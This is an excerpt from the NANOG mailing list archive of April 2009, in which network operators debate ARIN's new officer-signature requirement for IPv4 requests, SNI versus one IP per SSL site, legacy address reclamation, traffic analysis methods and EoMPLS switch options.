>> Chris Adams wrote: >>> Once upon a time, Jo Rhett said: >>>> Since virtual web hosting has no technical justification for IP >>>> space, I refuse it. >>> SSL and FTP are techincal justifications for an IP per site. >> >> Right. Also, monthly bandwidth monitoring/shaping/capping are more >> easily done using one ip per hosted domain, or ftp site, or whatever. >> Otherwise you are parsing logs or using 3rd party apache modules. > > *Shrug* I've been doing IP allocations for 14 years and that's never > been mentioned to me. Oh, you lucky, lucky person. We've got a couple of customers at the day job that constantly come back to us for more IP addresses for bandwidth accounting purposes for their colo machine(s). Attempts at education are like talking to a particularly stupid brick wall. - Matt From jfbeam at gmail.com Tue Apr 21 19:24:38 2009 From: jfbeam at gmail.com (Ricky Beam) Date: Tue, 21 Apr 2009 20:24:38 -0400 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <20090421224030.GA1301601@hiwaay.net> References: <20090421224030.GA1301601@hiwaay.net> Message-ID: On Tue, 21 Apr 2009 18:40:30 -0400, Chris Adams wrote: > SSL and FTP are techincal justifications for an IP per site. No they aren't. SSL will work just fine as a name-based virtual host with any modern webserver / browser. (Server Name Indication (SNI) [RFC3546, sec 3.1]) FTP? Who uses FTP these days? Certainly not consumers. Even Cisco pushes almost everything via a webserver. (they still have ftp servers, they just don't put much on them these days.) From plonka at doit.wisc.edu Tue Apr 21 19:30:18 2009 From: plonka at doit.wisc.edu (Dave Plonka) Date: Tue, 21 Apr 2009 19:30:18 -0500 Subject: MRTG in Fourier Space In-Reply-To: <49EDFE63.33E4.0097.0@globalstar.com> References: <49EDFE63.33E4.0097.0@globalstar.com> Message-ID: <20090422003018.GA18289@doit.wisc.edu> Hi Crist, On Tue, Apr 21, 2009 at 05:12:04PM -0700, Crist Clark wrote: > > Has anyone found any value in examining network utilization > numbers with Fourier analyses? After staring at pretty > MRTG graphs for a bit too long today, I'm wondering if > there are some interesting periodic characteristics in the > data that could be easily teased out beyond, "Well, the > diurnal fluctuations are obvious, but looks like we may > have some hourly traffic spikes in there too. And maybe > some of those are bigger every fourth hour." > > A quick Google search turned up nothing at all. Such techniques are used in the are of network anomaly detection. For instance, a search for "network anomaly detection" at scholar.google.com will yield very many results. Our 2002 paper, "A Signal Analysis of Network Traffic Anomalies" [ACM SIGCOMM Internet Measurement Workshop 2002, Barford, et al.], is one such work. We mention that we use wavelet analysis rather than Fourier analysis because wavelet/framelet analysis is able to localize events both in the frequency and time domains, whereas Fourier analysis would localize the events only in frequency, so an iterative approach (with varying intervals of time) would be necessary. In general, this is the reason why Fourier analysis has not been a common technique used in network anomaly detection. That work used data stored in RRD files at five minute intervals. Our subsequent work used data stored at one second intervals, again in RRD files. Dave -- plonka at cs.wisc.edu http://net.doit.wisc.edu/~plonka/ Madison, WI From jfbeam at gmail.com Tue Apr 21 19:34:39 2009 From: jfbeam at gmail.com (Ricky Beam) Date: Tue, 21 Apr 2009 20:34:39 -0400 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <49EE5520.1070304@pacific.net> References: <20090421224030.GA1301601@hiwaay.net> <49EE5520.1070304@pacific.net> Message-ID: On Tue, 21 Apr 2009 19:22:08 -0400, Ken A wrote: > Also, monthly bandwidth monitoring/shaping/capping are more easily done > using one ip per hosted domain... That's why the infrastructure is "virtualized" and you monitor at or behind the firewall(s) and/or load balancer(s) -- where it *is* one IP per customer. Sure, it's easier (and cheaper) to be lazy and waste address space than setup a proper hosting network. From newton at internode.com.au Tue Apr 21 19:53:49 2009 From: newton at internode.com.au (Mark Newton) Date: Wed, 22 Apr 2009 10:23:49 +0930 Subject: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> Message-ID: <6ED58B65-3B03-46EF-93B3-BA0D601C5B44@internode.com.au> On 22/04/2009, at 7:25 AM, Jo Rhett wrote: > On Apr 21, 2009, at 2:42 PM, Shane Ronan wrote: >> Mr Curran, given the response you've seen from the group, and in >> particular the argument that most CEO's or Officers of firms will >> simply sign off on what they IT staff tells them (as they have >> little to no understanding of the situation), > > You really should go ask a CEO if he'd sign off on something that he > doesn't understand. Really. I can assure you that your impression > is wrong, and most CEOs don't prefer to be standing in court > defending their actions. So who's going to have standing to drag them into court over false declarations to ARIN? Will ARIN be suing their members? Not likely. - mark -- Mark Newton Email: newton at internode.com.au (W) Network Engineer Email: newton at atdot.dotat.org (H) Internode Pty Ltd Desk: +61-8-82282999 "Network Man" - Anagram of "Mark Newton" Mobile: +61-416-202-223 From mpalmer at hezmatt.org Tue Apr 21 19:57:31 2009 From: mpalmer at hezmatt.org (Matthew Palmer) Date: Wed, 22 Apr 2009 10:57:31 +1000 Subject: Important New Requirement for IPv4 Requests In-Reply-To: References: <20090421224030.GA1301601@hiwaay.net> Message-ID: <20090422005731.GE4558@hezmatt.org> On Tue, Apr 21, 2009 at 08:24:38PM -0400, Ricky Beam wrote: > On Tue, 21 Apr 2009 18:40:30 -0400, Chris Adams wrote: >> SSL and FTP are techincal justifications for an IP per site. > > No they aren't. SSL will work just fine as a name-based virtual host > with any modern webserver / browser. (Server Name Indication (SNI) > [RFC3546, sec 3.1]) "I encourage my competitors to do this." You only have to get one noisy curmudgeon who can't get to your customer's SSL website because IE 5.0 has worked fine for them for years to make it a completely losing strategy to try deploying this everywhere. Since you can't predict in advance which sites are going to be accessed by said noisy curmudgeon, you don't bother deploying it anywhere, to be on the safe side. > FTP? Who uses FTP these days? Certainly not consumers. Even Cisco > pushes almost everything via a webserver. (they still have ftp servers, > they just don't put much on them these days.) A depressingly large number of people use FTP. Attempts to move them onto something less insane are fruitless. Even when the tools support it (and plenty of "web design" tools don't appear to do anything other than FTP), "we've always done it that way and it works fine and if we have to change something we'll move to another hosting company rather than click a different button in our program". Business imperatives trump technical considerations, once again. And, for the record, we're moving toward IPv6, so we're *trying* to be part of the solution, in our own small way. - Matt From sronan at fattoc.com Tue Apr 21 19:57:35 2009 From: sronan at fattoc.com (Shane Ronan) Date: Tue, 21 Apr 2009 17:57:35 -0700 Subject: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> Message-ID: <05188A4F-4DC1-4118-9210-0AF79836ED22@fattoc.com> > You really should go ask a CEO if he'd sign off on something that he > doesn't understand. Really. I can assure you that your impression > is wrong, and most CEOs don't prefer to be standing in court > defending their actions. Actually, being a CTO of a company, I know that my CEO signs things ALL the time based just on my say so. I don't see how signing a document for ARIN would land them in court, further if he were to go to court, he'd simply say that he relied on the opinions of his technical staff since he does not have the experience or expertise to evaluate it's validity. And as history shows, this is an acceptable answer, it happens all the time in the case of financial filings that others produce for the CEO to sign. > Burdensome? Really? If you have your documentation together it > takes about 15 minutes from beginning of the application form until > receiving your new allocation. I spend longer on hold any time I > deal with any other vendor. Really, 15 minutes? I applied for a new AS Record recently, presented all the valid documentation, as well as additional documentation in the form of network diagrams, and was asked to explain things that were clearly spelled out in the documents I provided. This entire process took DAYS. From sronan at fattoc.com Tue Apr 21 19:58:09 2009 From: sronan at fattoc.com (Shane Ronan) Date: Tue, 21 Apr 2009 17:58:09 -0700 Subject: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <49EE40B1.2040408@kl.net> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> <49EE40B1.2040408@kl.net> Message-ID: <6958F269-7A9D-4BB9-99EC-74D496E74330@fattoc.com> Not the annual report, the actual books and records, including details on individual expenses. On Apr 21, 2009, at 2:54 PM, Kevin Loch wrote: > Shane Ronan wrote: > >> C) Are ARIN's books open for public inspection? If so, it might be >> interesting for the group to see where all our money is going, >> since it's obviously not going to outreach and solution planning. >> Perhaps it is being spent in a reasonable manner, and the fees are >> where they need to be to sustain the organizations reasonable >> operations, but perhaps not. > > A quick search of the website found this: > > https://www.arin.net/about_us/corp_docs/annual_rprt.html > > - Kevin > From jason at lixfeld.ca Tue Apr 21 19:59:02 2009 From: jason at lixfeld.ca (Jason Lixfeld) Date: Tue, 21 Apr 2009 20:59:02 -0400 Subject: Any experience with EoMPLS PE switches? Message-ID: <3499F999-7BA6-4E04-94CF-19A14221987B@lixfeld.ca> Looking to migrate away from a VLAN centric core to provision client TLS circuits into something a little more scalable. EoMPLS seems like the apple to chew these days. Anyone have any experience with a cost effective EoMPLS PE (VPLS is likely going to be a necessity down the road too) that also does what any other purpose built edge switch would do? QinQ, L2 protocol tunneling, port security (MAC lock down, UNI ports, etc), DHCP server, LACP, MSTP, BGP/OSPF/ISIS? In a perfect world, this thing would be about 1U, have between 12-24 ports, mixed mode (SFP + RJ45) 10/100/1000, dual DC power. Not looking to burn up glass by pulling all our customers back to a central aggregation box, so we'd be looking to drop one or more of these devices into all of our on-net buildings (40 or so), so they'd have to be relatively cost effective. Cisco doesn't seem to have anything reasonably priced. I haven't had much luck keeping MRV's 910 series from crashing. Off-list replies are probably fine. If there is any genuine interest, I'd be happy to post my findings. Thanks in advance. From cmadams at hiwaay.net Tue Apr 21 20:07:21 2009 From: cmadams at hiwaay.net (Chris Adams) Date: Tue, 21 Apr 2009 20:07:21 -0500 Subject: Important New Requirement for IPv4 Requests In-Reply-To: References: <20090421224030.GA1301601@hiwaay.net> Message-ID: <20090422010721.GE1301601@hiwaay.net> Once upon a time, Ricky Beam said: > On Tue, 21 Apr 2009 18:40:30 -0400, Chris Adams wrote: > >SSL and FTP are techincal justifications for an IP per site. > > No they aren't. SSL will work just fine as a name-based virtual host with > any modern webserver / browser. (Server Name Indication (SNI) [RFC3546, > sec 3.1]) What is your definition of "modern"? According to Wikipedia : Unsupported Operating Systems and Browsers The following combinations do not support SNI. * Windows XP and Internet Explorer 6 or 7 * Konqueror/KDE in any version * Apache with mod_ssl: there is a patch under review by httpd team for inclusion in future releases, after 2.2.11. See doco at [1] * Microsoft Internet Information Server IIS (As of 2007). Seeing as WinXP/IE is still the most common combination, SNI is a long time away from being useful. -- Chris Adams Systems and Network Administrator - HiWAAY Internet Services I don't speak for anybody but myself - that's enough trouble. From sronan at fattoc.com Tue Apr 21 20:17:08 2009 From: sronan at fattoc.com (Shane Ronan) Date: Tue, 21 Apr 2009 18:17:08 -0700 Subject: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <70FC2DF9-2E1D-418D-BC73-F6F058127CBF@delong.com> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> <70FC2DF9-2E1D-418D-BC73-F6F058127CBF@delong.com> Message-ID: <5AA5F3FE-94AF-408D-AC23-A6ECCAE7C472@fattoc.com> On Apr 21, 2009, at 3:19 PM, Owen DeLong wrote: > Well... ARIN is structured with a bottom-up community driven policy > process. That has > served us well for many years, and, I think that changing it would > be a mistake. However, > in this case, that means that the following people are specifically > excluded from proposing > policy: > > The BoT (other than via the emergency process) > ARIN Staff > > Policy proposals must come from the community. Either at large, or, > from the ARIN AC > which is an elected subgroup of the community tasked with developing > good policy for > ARIN. The AC itself depends largely on community input for what kind > of policy the > community wants us to develop, and, at the end of the day, community > consensus is > required in order for a proposal to become policy. It's served us so well that we are running out of IP space and no effective way to migrate to the already existing replacement solution. The argument that it's always been that way, just doesn't cut it. It's the same with all these issues. If ARIN were to hire someone whose job it was to avangelize a workable solution, I am sure you would see individuals willing to come forth and support it and create a consensus. And FYI, there is nothing saying that consensus is required for a proposal to become policy, look at the US government, they make policy every day without consensus. If the situation is as bad as it's being made out to be, then ARIN MUST act in the best interest of the community as a whole. > > > >> B) Again, while it might be the IETF's "job", shouldn't the group >> trusted with the management of the IP space at least have a public >> opinion about these solutions are designed. Ensuring that they are >> designed is such a way to guarantee maximum adoption of v6 and thus >> reducing the potential for depletion of v4 space. >> > The IETF specifically does not accept organizational input and > requires instead that > individuals participate. This is one of the great strengths, and, > also one of the great > weaknesses of the IETF. However, it means that even if ARIN could > develop a public > opinion (which would have to come from the ARIN community by some > process which > we don't really have as yet), this opinion wouldn't mean much in the > IETF's eyes. Again, if ARIN were to put out a "best practices" guide, and promote it as a way to push forward IPv6. Instead they are saying "not my problem" and "the guys who are working on it, won't let us play with them" > > >> C) Are ARIN's books open for public inspection? If so, it might be >> interesting for the group to see where all our money is going, >> since it's obviously not going to outreach and solution planning. >> Perhaps it is being spent in a reasonable manner, and the fees are >> where they need to be to sustain the organizations reasonable >> operations, but perhaps not. >> > I will leave this to the BoT to answer, but, I know that the > treasurer presents a report > at every members meeting which provides at least some high level > details. I believe > that as a non-profit corporation, a great deal of openness is > required for accountability > to ARIN members. Why is travel such a large percentage of their expenses? If people want to be on the board, they should pay for their own travel to the meetings. This is a Not For Profit, not a corporation, big difference. > > >> Mr Curran, given the response you've seen from the group, and in >> particular the argument that most CEO's or Officers of firms will >> simply sign off on what they IT staff tells them (as they have >> little to no understanding of the situation), can you explain what >> exactly you are hoping to achieve by heaping on yet an additional >> requirement to the already over burdensome process of receiving an >> IPv4 allocation? >> > I can't say what Mr. Curran expects, but, here's how I see it: > > 1. If an officer of the organization signs off, then, that means > that both the > organization and the officer personally can be held accountable for > any > fraud that is later uncovered. If the officer is an idiot, perhaps > he'll just > sign, but, most officers I have experience with don't do that. They > usually > engage in some level of verification before signing such a statement. How do you figure, under what law is this enforceable? Most Officers will simply say to the person asking them to sign it "Is this true" and when they say yes, he'll sign it. The CEO of most corporation does not have the time, experience or expertise to determine if his firm truly needs additional IP Space. > > 2. Organizations which are submitting fraudulent requests may be less > willing to do that when someone has to make a signed attestation > under > penalty of perjury. Especially when that person has fiduciary > liability to > the organization as an officer. Again, what law are they violating? How is this considered perjury? > 3. There are lots of things people will do if they don't think there > are potential > consequences. A signed attestation by a corporate officer > dramatically > reduces the apparent lack of consequences to a fraudulent > application. > > Sure, there will always be criminals and criminals may not be bothered > by this signed attestation process. However, having it does give the > ARIN > legal team a better shot at them as well. Again how does signing an attestation = criminal liability? Maybe civil liability, but certainly not criminal liability. > I am not a lawyer and these are just my own opinions. > > Owen > From bpfankuch at cpgreeley.com Tue Apr 21 20:18:05 2009 From: bpfankuch at cpgreeley.com (Blake Pfankuch) Date: Tue, 21 Apr 2009 19:18:05 -0600 Subject: Yahoo mail admin Message-ID: <01759D50DC387C45A018FE1817CE27D7550758E8B8@CPExchange1.cpgreeley.com> Can I get a yahoo mail services admin to contact me off list? the normal channels have been getting me nowhere. "a representative will be in touch with you in a few days" has been going on for about 2 weeks. Blake Pfankuch Connecting Point of Greeley Network Engineer 970-356-7224 [cid:image001.gif at 01C9C2B5.E5BDA550] -------------- next part -------------- A non-text attachment was scrubbed... Name: image001.gif Type: image/gif Size: 1642 bytes Desc: image001.gif URL: From bmanning at vacation.karoshi.com Tue Apr 21 20:50:26 2009 From: bmanning at vacation.karoshi.com (bmanning at vacation.karoshi.com) Date: Wed, 22 Apr 2009 01:50:26 +0000 Subject: Important New Requirement for IPv4 Requests In-Reply-To: References: <20090421224030.GA1301601@hiwaay.net> Message-ID: <20090422015026.GA11683@vacation.karoshi.com.> On Tue, Apr 21, 2009 at 08:24:38PM -0400, Ricky Beam wrote: > On Tue, 21 Apr 2009 18:40:30 -0400, Chris Adams wrote: > >SSL and FTP are techincal justifications for an IP per site. > > No they aren't. SSL will work just fine as a name-based virtual host with > any modern webserver / browser. (Server Name Indication (SNI) [RFC3546, > sec 3.1]) > > FTP? Who uses FTP these days? Certainly not consumers. Even Cisco > pushes almost everything via a webserver. (they still have ftp servers, > they just don't put much on them these days.) well, pretty much anyone who has large datasets to move around. that default 64k buffer in the openssl libs pretty much sucks rocks for large data flows. --bill From sronan at fattoc.com Tue Apr 21 21:21:06 2009 From: sronan at fattoc.com (Shane Ronan) Date: Tue, 21 Apr 2009 19:21:06 -0700 Subject: The real issue Message-ID: <0F9F7D35-A204-44BC-90CC-1E935C984574@fattoc.com> Is ARIN, who won't even take back large blocks of space from people who have long ago stopped using it and aren't paying anything for it, prepared to start filing civil suits against people who were assigned / 24's (and paid for them) due to inaccurate declaration? From morrowc.lists at gmail.com Tue Apr 21 21:37:46 2009 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Tue, 21 Apr 2009 22:37:46 -0400 Subject: The real issue In-Reply-To: <0F9F7D35-A204-44BC-90CC-1E935C984574@fattoc.com> References: <0F9F7D35-A204-44BC-90CC-1E935C984574@fattoc.com> Message-ID: <75cb24520904211937s2babcd37s295f1d2d8b2b79f@mail.gmail.com> On Tue, Apr 21, 2009 at 10:21 PM, Shane Ronan wrote: > Is ARIN, who won't even take back large blocks of space from people who have > long ago stopped using it and aren't paying anything for it, prepared to > start filing civil suits against people who were assigned /24's (and paid > for them) due to inaccurate declaration? out of curiousity.. 'take back' means what in this context? From sronan at fattoc.com Tue Apr 21 21:46:14 2009 From: sronan at fattoc.com (Shane Ronan) Date: Tue, 21 Apr 2009 19:46:14 -0700 Subject: The real issue In-Reply-To: <75cb24520904211937s2babcd37s295f1d2d8b2b79f@mail.gmail.com> References: <0F9F7D35-A204-44BC-90CC-1E935C984574@fattoc.com> <75cb24520904211937s2babcd37s295f1d2d8b2b79f@mail.gmail.com> Message-ID: It's means one of two things: 1) Recoup the unused space for paid reallocation or 2) Have the current "owner" pay the market rate for the IP space On Apr 21, 2009, at 7:37 PM, Christopher Morrow wrote: > On Tue, Apr 21, 2009 at 10:21 PM, Shane Ronan > wrote: >> Is ARIN, who won't even take back large blocks of space from people >> who have >> long ago stopped using it and aren't paying anything for it, >> prepared to >> start filing civil suits against people who were assigned /24's >> (and paid >> for them) due to inaccurate declaration? > > out of curiousity.. 'take back' means what in this context? From morrowc.lists at gmail.com Tue Apr 21 21:59:24 2009 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Tue, 21 Apr 2009 22:59:24 -0400 Subject: The real issue In-Reply-To: References: <0F9F7D35-A204-44BC-90CC-1E935C984574@fattoc.com> <75cb24520904211937s2babcd37s295f1d2d8b2b79f@mail.gmail.com> Message-ID: <75cb24520904211959y3baa1ccaobd43c23596ea776b@mail.gmail.com> On Tue, Apr 21, 2009 at 10:46 PM, Shane Ronan wrote: > It's means one of two things: > sure, but 'how' exactly? > 1) Recoup the unused space for paid reallocation > or arin never (nor do any RIR) guarantee routability, nor do they even a method to affect routability of a network. > 2) Have the current "owner" pay the market rate for the IP space > ... that's somewhat hard since the current policies don't support that, and there is no real legal stance for legacy-allocations... For allocated post-legacy-times ARIN can start court proceedings, but ... that's a lengthy process and expensive. -Chris > > On Apr 21, 2009, at 7:37 PM, Christopher Morrow wrote: > >> On Tue, Apr 21, 2009 at 10:21 PM, Shane Ronan wrote: >>> >>> Is ARIN, who won't even take back large blocks of space from people who >>> have >>> long ago stopped using it and aren't paying anything for it, prepared to >>> start filing civil suits against people who were assigned /24's (and paid >>> for them) due to inaccurate declaration? >> >> out of curiousity.. 'take back' means what in this context? > >

From Bourbon.Odenthal at sce.com Tue Apr 21 22:20:39 2009 From: Bourbon.Odenthal at sce.com (Bourbon.Odenthal at sce.com) Date: Tue, 21 Apr 2009 20:20:39 -0700 Subject: The real issue Message-ID: On Apr 21, 2009 19:46 Shane Ronan wrote: > 2) Have the current "owner" pay the market rate for the IP space I'm curious what the going rate on a /24 is? -bb From sronan at fattoc.com Tue Apr 21 22:26:47 2009 From: sronan at fattoc.com (Shane Ronan) Date: Tue, 21 Apr 2009 20:26:47 -0700 Subject: The real issue In-Reply-To: <75cb24520904211959y3baa1ccaobd43c23596ea776b@mail.gmail.com> References: <0F9F7D35-A204-44BC-90CC-1E935C984574@fattoc.com> <75cb24520904211937s2babcd37s295f1d2d8b2b79f@mail.gmail.com> <75cb24520904211959y3baa1ccaobd43c23596ea776b@mail.gmail.com> Message-ID: <4EC2B4A0-ED77-4E5E-915C-F259595F33F2@fattoc.com> Very simple, just do it. On Apr 21, 2009, at 7:59 PM, Christopher Morrow wrote: > On Tue, Apr 21, 2009 at 10:46 PM, Shane Ronan > wrote: >> It's means one of two things: >> > > sure, but 'how' exactly? > >> 1) Recoup the unused space for paid reallocation >> or > > arin never (nor do any RIR) guarantee routability, nor do they even a > method to affect routability of a network. > >> 2) Have the current "owner" pay the market rate for the IP space >> > > ... that's somewhat hard since the current policies don't support > that, and there is no real legal stance for legacy-allocations... For > allocated post-legacy-times ARIN can start court proceedings, but ... > that's a lengthy process and expensive. > > -Chris > >> >> On Apr 21, 2009, at 7:37 PM, Christopher Morrow wrote: >> >>> On Tue, Apr 21, 2009 at 10:21 PM, Shane Ronan >>> wrote: >>>> >>>> Is ARIN, who won't even take back large blocks of space from >>>> people who >>>> have >>>> long ago stopped using it and aren't paying anything for it, >>>> prepared to >>>> start filing civil suits against people who were assigned /24's >>>> (and paid >>>> for them) due to inaccurate declaration? >>> >>> out of curiousity.. 'take back' means what in this context? >> >> > >

From morrowc.lists at gmail.com Tue Apr 21 22:33:38 2009 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Tue, 21 Apr 2009 23:33:38 -0400 Subject: The real issue In-Reply-To: <4EC2B4A0-ED77-4E5E-915C-F259595F33F2@fattoc.com> References: <0F9F7D35-A204-44BC-90CC-1E935C984574@fattoc.com> <75cb24520904211937s2babcd37s295f1d2d8b2b79f@mail.gmail.com> <75cb24520904211959y3baa1ccaobd43c23596ea776b@mail.gmail.com> <4EC2B4A0-ED77-4E5E-915C-F259595F33F2@fattoc.com> Message-ID: <75cb24520904212033w444995f4y50a8aea0b46c0fef@mail.gmail.com> On Tue, Apr 21, 2009 at 11:26 PM, Shane Ronan wrote: > Very simple, just do it. > This isn't nike... I'm sorry for being obtuse, but they (arin) can't really do anything. I suspect that if they had to prosecute all folks in violation of the RSA they would have financial issues... and it wouldn't really solve anything long term anyway. In short, ARIN can't affect routability ARIN can't effectively deal with the contract issues in a timely fashion So.. what are they going to 'just do'? -Chris > On Apr 21, 2009, at 7:59 PM, Christopher Morrow wrote: > >> On Tue, Apr 21, 2009 at 10:46 PM, Shane Ronan wrote: >>> >>> It's means one of two things: >>> >> >> sure, but 'how' exactly? >> >>> 1) Recoup the unused space for paid reallocation >>> or >> >> arin never (nor do any RIR) guarantee routability, nor do they even a >> method to affect routability of a network. >> >>> 2) Have the current "owner" pay the market rate for the IP space >>> >> >> ... that's somewhat hard since the current policies don't support >> that, and there is no real legal stance for legacy-allocations... For >> allocated post-legacy-times ARIN can start court proceedings, but ... >> that's a lengthy process and expensive. >> >> -Chris >> >>> >>> On Apr 21, 2009, at 7:37 PM, Christopher Morrow wrote: >>> >>>> On Tue, Apr 21, 2009 at 10:21 PM, Shane Ronan wrote: >>>>> >>>>> Is ARIN, who won't even take back large blocks of space from people who >>>>> have >>>>> long ago stopped using it and aren't paying anything for it, prepared >>>>> to >>>>> start filing civil suits against people who were assigned /24's (and >>>>> paid >>>>> for them) due to inaccurate declaration? >>>> >>>> out of curiousity.. 'take back' means what in this context? >>> >>> >> >>

> >

From joelja at bogus.com Tue Apr 21 22:37:30 2009 From: joelja at bogus.com (Joel Jaeggli) Date: Tue, 21 Apr 2009 20:37:30 -0700 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <20090421100343.GA32683@gsp.org> References: <200904202339.n3KNdleL042511@aurora.sol.net> <20090421100343.GA32683@gsp.org> Message-ID: <49EE90FA.9000907@bogus.com> Rich Kulawiec wrote: > If the effort that will go into administering this went instead > into reclaiming IPv4 space that's obviously hijacked and/or being > used by abusive operations, we'd all benefit. I use comcast space for abusive operations. I believe they charge me $40 a month for the privilege. > ---Rsk > From jfbeam at gmail.com Tue Apr 21 22:39:57 2009 From: jfbeam at gmail.com (Ricky Beam) Date: Tue, 21 Apr 2009 23:39:57 -0400 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <20090422005731.GE4558@hezmatt.org> References: <20090421224030.GA1301601@hiwaay.net> <20090422005731.GE4558@hezmatt.org> Message-ID: On Tue, 21 Apr 2009 20:57:31 -0400, Matthew Palmer wrote: >> FTP? Who uses FTP these days? ... > A depressingly large number of people use FTP. Attempts to move them > onto > something less insane are fruitless. Even when the tools support it (and > plenty of "web design" tools don't appear to do anything other than FTP), > "we've always done it that way and it works fine and if we have to change > something we'll move to another hosting company rather than click a > different button in our program". On Tue, 21 Apr 2009 21:07:08 -0400, Daniel Senie wrote: > You are out of touch. FTP is used by nearly EVERY web hosting provider > for updates of web sites. Anonymous FTP is not used. These are not random, anonymous ftp connections. These are people who login with a username and password, and are therefore, identifiable; and even then, it's for access to manage their own site. A single IP address pointing to a single server (or farm of servers) will, and DOES, work just fine. I know, because I've done it for ~15 years. When I ask "who", I'm asking about a paid for, external service -- just like web hosting. No one calls up 1-800-Host-My-Crap and asks for "an FTP server". Bottom line... if your justification for a /19 is "FTP servers", you are fully justified in laughing at them as you hang up the phone. From simon at darkmere.gen.nz Tue Apr 21 22:49:04 2009 From: simon at darkmere.gen.nz (Simon Lyall) Date: Wed, 22 Apr 2009 15:49:04 +1200 (NZST) Subject: ADMIN: Reminder on off-topic threads Message-ID: A reminder that discussion of the following topics are off-topic for the NANOG list. * Website security * Corporate governance * Arin IP address policy Please ensure that posts are network operations orientated. Simon Lyall NANOG MLC ( on behalf of) -- Simon Lyall | Very Busy | Web: http://www.darkmere.gen.nz/ "To stay awake all night adds a day to your life" - Stilgar | eMT. From jlewis at lewis.org Tue Apr 21 22:49:33 2009 From: jlewis at lewis.org (Jon Lewis) Date: Tue, 21 Apr 2009 23:49:33 -0400 (EDT) Subject: The real issue In-Reply-To: <75cb24520904211959y3baa1ccaobd43c23596ea776b@mail.gmail.com> References: <0F9F7D35-A204-44BC-90CC-1E935C984574@fattoc.com> <75cb24520904211937s2babcd37s295f1d2d8b2b79f@mail.gmail.com> <75cb24520904211959y3baa1ccaobd43c23596ea776b@mail.gmail.com> Message-ID: On Tue, 21 Apr 2009, Christopher Morrow wrote: > arin never (nor do any RIR) guarantee routability, nor do they even a > method to affect routability of a network. Sure they do. They can and have put pressure on networks to stop advertisements from being propagated. What they can actually do if their bluff is called, I have no idea, but I've seen their influence work. >> 2) Have the current "owner" pay the market rate for the IP space > > ... that's somewhat hard since the current policies don't support > that, and there is no real legal stance for legacy-allocations... For > allocated post-legacy-times ARIN can start court proceedings, but ... > that's a lengthy process and expensive. Having looked back at old copies of the domain-template.txt and internet-number-template.txt, I really don't see why one group was grandfathered in with an indefinite free ride and the other was not at all. ---------------------------------------------------------------------- Jon Lewis | I route Senior Network Engineer | therefore you are Atlantic Net | _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From mike at rockynet.com Tue Apr 21 22:53:39 2009 From: mike at rockynet.com (Mike Lewinski) Date: Tue, 21 Apr 2009 21:53:39 -0600 Subject: The real issue In-Reply-To: <4EC2B4A0-ED77-4E5E-915C-F259595F33F2@fattoc.com> References: <0F9F7D35-A204-44BC-90CC-1E935C984574@fattoc.com> <75cb24520904211937s2babcd37s295f1d2d8b2b79f@mail.gmail.com> <75cb24520904211959y3baa1ccaobd43c23596ea776b@mail.gmail.com> <4EC2B4A0-ED77-4E5E-915C-F259595F33F2@fattoc.com> Message-ID: <49EE94C3.9090206@rockynet.com> Shane Ronan wrote: > Very simple, just do it. Ha! We have some legacy IP space in continous use here at ASN13345 for over 12 years now that was recently "revoked" for a few weeks (only to be later restored via a transfer once the exact definition of "ownership" in a member-owned cooperative was hammered out). Guess what stopped working in the interim? Well the whois records were gone and our abuse desk probably had a tiny decrease in complaints as a result. In some quarters that might be seen as a blessing, but we view abuse reports as cries for help from infected hosts that will become larger service outages if not addressed. Also the in-addr services went away, affecting about a half dozen mail servers out of several thousand hosts in the "revoked" delegation. We did not receive one single call or complaint about connectivity in that duration apart from the in-addr loss, and those customers were offered smart host use or replacement IPs for the duration. The ones who chose the smart host continued to use the "revoked" IP space without problem after that. The Internet's greatest strength and greatest weakness is the lack of a central authority who can "just do it". I for one am happy it is that way. It's part of what makes us an *autonomous* system, sovereign of our own little kingdom. Mike From john.sweeting at twcable.com Tue Apr 21 23:04:14 2009 From: john.sweeting at twcable.com (John Sweeting) Date: Wed, 22 Apr 2009 00:04:14 -0400 Subject: downloading speed In-Reply-To: Message-ID: Hey Chandra, You should check with your VP of IP Engineering, I have heard tell that he is a ?hard core engineer?. I am sure he could have solved your problem. Cheers - On 4/18/09 1:50 PM, "chandrashakher pawar" wrote: > Dear Members, > > > > Thanks for your help and valuable information. > > > > ============================ > > Finally the issue resolved after card reset. > > Case has been book with Cisco. > > I will update you with the outcome of Cisco once they update us... > > > > > > Thanks > Chandrashakher pawar > > > > On Sat, Apr 18, 2009 at 1:08 AM, b nickell wrote: > >> > Duplex Mismatch looks to be the problem. >> > >> > On Fri, Apr 17, 2009 at 3:23 PM, chandrashakher pawar < >> > learn.chandra at gmail.com> wrote: >> > >>> >> Dear Group member, >>> >> >>> >> We are level one ISP. one of my customer is connected to fast ethernet. >>> >> His link speed 100,000 kbps. while downloading any thing from net he >>> >> downloading speed donot go above 200 kbps. >>> >> While doing multiple download he get aroung 200 kbps in every window. But >>> >> when he close all the windows no change in downloading speed is observed. >>> >> >>> >> our router is C12KPRP-K4P-M >>> >> >>> >> Please advise what could be the cause? >>> >> >>> >> -- >>> >> Regards >>> >> >>> >> Chandrashakher Pawar >>> >> IPNOC >>> >> Customer & Services Operations >>> >> Tata communication AS6453 >>> >> mobil + 91 9225633948 + 91 9324509268 >>> >> learn.chandra at gmail.com >>> >> >> > >> > >> 